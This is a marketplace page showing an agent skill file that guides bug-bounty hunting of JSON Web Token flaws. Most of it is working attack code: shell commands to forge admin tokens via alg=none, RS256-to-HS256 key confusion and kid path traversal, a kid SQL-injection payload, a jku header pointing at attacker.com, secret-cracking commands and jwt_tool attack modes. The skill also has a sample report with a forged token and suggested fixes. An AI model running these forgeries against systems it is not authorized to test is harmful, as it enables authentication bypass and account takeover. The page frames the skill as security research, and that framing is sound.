Skip to content
cccskills
FreePublished on GitHub

jwt-attacks

Hunt JSON Web Token (JWT) vulnerabilities — alg=none bypass, RS256→HS256 key confusion, weak HMAC secret cracking, kid path traversal, JWKS injection, jku/x5u header attacks, embedded JWK confusion, expired-token acceptance, claim mutability, and token replay. Use when an app uses JWT for authentication or stateless sessions.

The English summary is being prepared. Showing the original description.

See how to install

Files included (1)

  • SKILL.md10.2 KB

SKILL.md (original)

Review the instructions the agent will receive before you install.

JWT Attacks

Bearer token = signed JSON. Signing wrong = pwned.

When to invoke

Trigger phrases:

  • "JWT bypass"
  • "alg=none"
  • "JWT key confusion"
  • "token attack"
  • "Bearer token"

JWT primer

header.payload.signature
└──┬──┘ └───┬───┘ └───┬───┘
   │       │         │
   │       │         └── HMAC or RS/ES signature over base64url(header) + "." + base64url(payload)
   │       └── base64url-encoded JSON: claims (sub, exp, role, etc.)
   └── base64url-encoded JSON: algorithm + key info

Standard header:

{"alg":"HS256","typ":"JWT"}

Standard payload:

{"sub":"user@example.com","role":"user","exp":1717267200}

The 10 JWT attack patterns

Attack 1: alg=none

The "none" algorithm explicitly means no signature. Some libs accept it.

# Original token
ORIG="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyIn0.SIGNATURE"

# Modified
HDR=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w 0 | tr '+/' '-_' | tr -d '=')
PLD=$(echo -n '{"sub":"admin","role":"admin"}' | base64 -w 0 | tr '+/' '-_' | tr -d '=')
echo "$HDR.$PLD."   # No signature, but valid format

Try variants:

  • alg: "none" ← classic
  • alg: "None" ← capitalization
  • alg: "NONE"
  • alg: "nOnE"
  • alg: ""

Attack 2: RS256 → HS256 key confusion

If server uses RS256 (public/private), and accepts HS256 (symmetric), you can sign with the public key as the HMAC secret.

# Get the public key (often at /.well-known/jwks.json or /jwks)
curl https://target.com/.well-known/jwks.json
# Or embedded in pages, or sometimes published

# Convert JWK to PEM
# Or simply find the cert/pubkey

PUBKEY=public.pem

# Forge HS256 JWT using public key as secret
# Use jwt_tool:
python3 jwt_tool.py "$ORIG_TOKEN" -X k -pk "$PUBKEY"

# Or manually:
HDR=$(echo -n '{"alg":"HS256","typ":"JWT"}' | base64 -w 0 | tr '+/' '-_' | tr -d '=')
PLD=$(echo -n '{"sub":"admin","role":"admin"}' | base64 -w 0 | tr '+/' '-_' | tr -d '=')
PUBKEY_CONTENT=$(cat "$PUBKEY")
SIG=$(echo -n "$HDR.$PLD" | openssl dgst -sha256 -mac HMAC -macopt "key:$PUBKEY_CONTENT" -binary | base64 -w 0 | tr '+/' '-_' | tr -d '=')
echo "$HDR.$PLD.$SIG"

Attack 3: Weak HMAC secret (crack it)

If HS256 with a weak secret like "secret" or "1234":

# jwtcat (fast)
jwtcat "$JWT_TOKEN" -w ~/tools/SecLists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt

# hashcat (faster)
echo "$JWT_TOKEN" > hash.txt
hashcat -m 16500 hash.txt ~/tools/SecLists/Passwords/rockyou.txt

# John
john --format=HMAC-SHA256 --wordlist=rockyou.txt hash.txt

Common weak secrets to try first:

secret
1234
admin
password
JWT_SECRET
your-256-bit-secret
my-very-secret-key
SECRET_KEY
test
key
abcdefg
HelloWorld
mysecret
JWT

Attack 4: kid (key ID) path traversal

kid tells the server which key to use. If it's read from filesystem:

{"alg":"HS256","kid":"../../../../../../dev/null","typ":"JWT"}

Server reads /dev/null → empty file → HMAC key is empty → forge token with empty key:

HDR='{"alg":"HS256","kid":"../../../../../dev/null","typ":"JWT"}'
PLD='{"sub":"admin"}'
HDR_B64=$(echo -n "$HDR" | base64 -w 0 | tr '+/' '-_' | tr -d '=')
PLD_B64=$(echo -n "$PLD" | base64 -w 0 | tr '+/' '-_' | tr -d '=')
SIG=$(echo -n "$HDR_B64.$PLD_B64" | openssl dgst -sha256 -mac HMAC -macopt "key:" -binary | base64 -w 0 | tr '+/' '-_' | tr -d '=')
echo "$HDR_B64.$PLD_B64.$SIG"

Attack 5: kid SQL injection

If kid is fed into a SQL query for key lookup:

{"alg":"HS256","kid":"x' UNION SELECT 'attacker-secret","typ":"JWT"}

Then forge with secret attacker-secret.

Attack 6: jku / x5u header

jku and x5u point to a URL with the JWKS / certificate. If not validated against an allowlist:

{
  "alg":"RS256",
  "typ":"JWT",
  "jku":"https://attacker.com/jwks.json"
}

Server fetches https://attacker.com/jwks.json → uses your public key → you sign with your private key → server trusts.

Set up the JWKS on attacker.com:

{
  "keys": [{
    "kty":"RSA",
    "kid":"my-key-id",
    "n":"...",
    "e":"AQAB"
  }]
}

Attack 7: Embedded JWK (jwk header)

If jwk header is in the JWT, server might use it as the verification key:

{
  "alg":"RS256",
  "typ":"JWT",
  "jwk":{
    "kty":"RSA",
    "kid":"abc",
    "n":"<YOUR_PUBLIC_N>",
    "e":"AQAB"
  }
}

Same as jku attack but inline.

Attack 8: Expired token reuse

Some implementations don't check exp:

# Take an expired token (yesterday's session)
# Send it → if accepted, bug

# Or modify `exp` to past, then sign with cracked secret

Attack 9: Claim mutability without re-sign verification

Some apps decode JWT but don't verify signature for certain endpoints:

# Modify payload claims (without re-signing)
# Decode → change "role": "user" → "role": "admin" → re-encode → send

# Some apps "trust client" for non-critical paths but pull role from JWT for auth checks

Attack 10: JWT in URL (logged → leaked)

If JWT is passed as URL parameter (?token=...):

  • Tokens logged in proxy logs
  • Tokens in Referer headers to 3rd parties
  • Tokens in browser history

Report as info disclosure + chain.

Step-by-Step Workflow

1. Capture JWTs from the app

Login flow → look in:

  • Authorization: Bearer ... header
  • Cookie: jwt=... or similar
  • URL parameters (?token=)
  • LocalStorage (via browser devtools)
  • WebSocket connection upgrade headers

2. Decode (use jwt.io or CLI)

# Quick decode
echo "$JWT" | cut -d. -f1 | base64 -d 2>/dev/null
echo "$JWT" | cut -d. -f2 | base64 -d 2>/dev/null

Or:

# jwt_tool
python3 jwt_tool.py "$JWT"

Note:

  • alg value
  • Claims: sub, role, email, iat, exp, iss, aud, tenant_id, etc.
  • Custom headers (kid, jku, x5u, jwk)

3. Identify mutable claims

For each claim, try changing it (with re-signed token if needed):

  • role: "user" → "admin" / "superadmin" / "root"
  • email: "you@x.com" → "victim@x.com" (if email used for auth)
  • tenant_id: 1 → other tenant IDs (cross-tenant)
  • is_admin: false → true
  • permissions: ["read"] → ["*"] / ["admin"]

4. Try alg=none

Send modified token with alg: "none". If accepted → critical.

5. Test for weak HMAC

jwtcat "$JWT" -w wordlist.txt

6. Try kid path traversal

python3 jwt_tool.py "$JWT" -X i  # injection mode

7. Use jwt_tool comprehensive

# All-tests mode (runs every attack)
python3 jwt_tool.py "$JWT" -M at

# Specific attack
python3 jwt_tool.py "$JWT" -X k -pk public.pem    # key confusion
python3 jwt_tool.py "$JWT" -X a                   # alg=none
python3 jwt_tool.py "$JWT" -X i                   # injection
python3 jwt_tool.py "$JWT" -X k -jw key.jwk       # JWK

8. Use Burp extension (JSON Web Tokens)

Burp BApp Store → install "JSON Web Tokens" (or "JWT Editor"). Auto-decodes and re-signs.

Output template

## Critical: Authentication bypass via JWT alg=none

### Summary
The JWT validator on api.target.com accepts tokens with `alg: "none"`. By stripping the signature, any attacker can forge a token for any user, including administrators.

### Steps to reproduce
1. Capture a valid JWT from a normal login:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMTIzIiwicm9sZSI6InVzZXIiLCJleHAiOjE3MTc1NTQwMDB9.SIGNATURE

2. Decode payload, change `sub` to `admin@target.com` and `role` to `admin`
3. Create forged token with `alg: "none"`:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbkB0YXJnZXQuY29tIiwicm9sZSI6ImFkbWluIiwiZXhwIjoyMDAwMDAwMDAwfQ.

(Note trailing `.` — empty signature)
4. Send to admin endpoint:
```http
GET /api/v3/admin/users HTTP/1.1
Host: api.target.com
Authorization: Bearer <forged-token>
  1. Response: 200 OK with full admin user list

Impact

  • Full administrative access without credentials
  • Any user can become any other user, including admins
  • Bypass of all role-based access controls

Suggested fix

  • Reject any JWT with alg: "none"
  • Use a strict allowlist of algorithms (HS256 or RS256 only, never both interchangeably)
  • Use a well-tested JWT library (jose, jjwt) with proper defaults

## Cross-references

- `[[auth-bypass]]` — JWT is one of many auth bypass paths
- `[[ato-chains]]` — JWT manipulation often = ATO
- `[[js-analysis]]` — JS bundles may leak JWT signing keys or test JWTs

## Common pitfalls

1. **Modifying claims without re-signing.** Most libs verify signature → modification rejected. You must crack/forge.
2. **Reporting "JWT in URL" alone.** Need impact chain.
3. **Trusting decoded payload as "secret".** JWT is signed, not encrypted. Anyone can decode.
4. **Testing alg=none on a single endpoint.** Often only specific endpoints have weak validation.
5. **Forgetting `exp` check.** Some test tokens succeed because `exp` happens to be valid.

## Quick JWT triage checklist

[ ] alg = none → critical [ ] HS256 cracked secret → critical [ ] RS256 → HS256 confusion → critical [ ] kid path traversal → critical [ ] jku not validated → critical [ ] embedded jwk → critical [ ] exp not validated → high (replay) [ ] iss not validated → medium (depends on impact) [ ] aud not validated → medium (cross-app reuse) [ ] role mutable + no re-sign check → critical


## Severity guide

| Finding | Severity |
|---|---|
| alg=none accepted | Critical |
| HS256 with crackable secret (< 8 chars) | Critical |
| Key confusion (RS→HS) | Critical |
| kid injection (path traversal / SQLi) | Critical |
| jku/x5u not validated | Critical |
| exp not enforced + replayable token | High |
| Token leaked via URL/log | Medium-High |
| JWT in non-HttpOnly cookie | Medium (combined with XSS = high) |

Reviews

No reviews yet. Tell others what you thought.

Comments

No login needed. Share how it worked for you, ask a question, or note where it did not run.

No comments yet. Be the first to write one.

Comments are published right away. Do not include personal information such as email addresses or phone numbers. Up to 2 URLs.

0 / 1,000 characters

This form is protected by reCAPTCHA, and the Google Privacy Policy and Terms of Service apply.

More skills from this repository

Probe subdomain list with httpx/dnsx/naabu to identify live hosts, open ports, status codes, titles, and basic fingerprints. Use after subdomain-enum produces a sub list. Output feeds into fingerprinting and content discovery.

The English summary is being prepared. Showing the original description.

0xGhostCAT/claude-ai-cyber-security-skills44Updated Jun 3, 2026

Hunt full Account Takeover (ATO) by chaining lower-severity findings — IDOR-to-email-disclosure, password-reset-token-theft, OAuth-redirect-uri abuse, response-manipulation, cookie scope, CRLF in Set-Cookie, race-condition on signup. Use when the user wants to escalate small findings to ATO or thinks an ATO path exists.

The English summary is being prepared. Showing the original description.

0xGhostCAT/claude-ai-cyber-security-skills44Updated Jun 3, 2026

Hunt authentication and authorization bypasses — forced browsing, path traversal in auth, header injection, JWT downgrade, OAuth state confusion, role manipulation. Use when an endpoint returns 401/403 but appears reachable.

The English summary is being prepared. Showing the original description.

0xGhostCAT/claude-ai-cyber-security-skills44Updated Jun 3, 2026

Write Bugcrowd-format reports — VRT (Vulnerability Rating Taxonomy) mapping, P1-P5 severity, impact-led writing, and Bugcrowd-specific submission etiquette. Use AFTER triage-validation passes for Bugcrowd programs.

The English summary is being prepared. Showing the original description.

0xGhostCAT/claude-ai-cyber-security-skills44Updated Jun 3, 2026

Hunt business logic flaws — race conditions, workflow state bypass, parameter pollution affecting logic, coupon/discount abuse, refund logic, multi-step process bypass, integer overflow, negative quantities, double-spend. Use when looking for non-CVE bugs that require understanding the app's intended workflow.

The English summary is being prepared. Showing the original description.

0xGhostCAT/claude-ai-cyber-security-skills44Updated Jun 3, 2026

Hunt web cache poisoning, CDN cache poisoning, and cache deception attacks. Use when target uses a CDN (Cloudflare, Akamai, Fastly, AWS CloudFront) or has Varnish/nginx caches and you want to identify cache key flaws that let attackers serve malicious content to other users.

The English summary is being prepared. Showing the original description.

0xGhostCAT/claude-ai-cyber-security-skills44Updated Jun 3, 2026

See all skills by 0xGhostCAT

Report a problem with this skill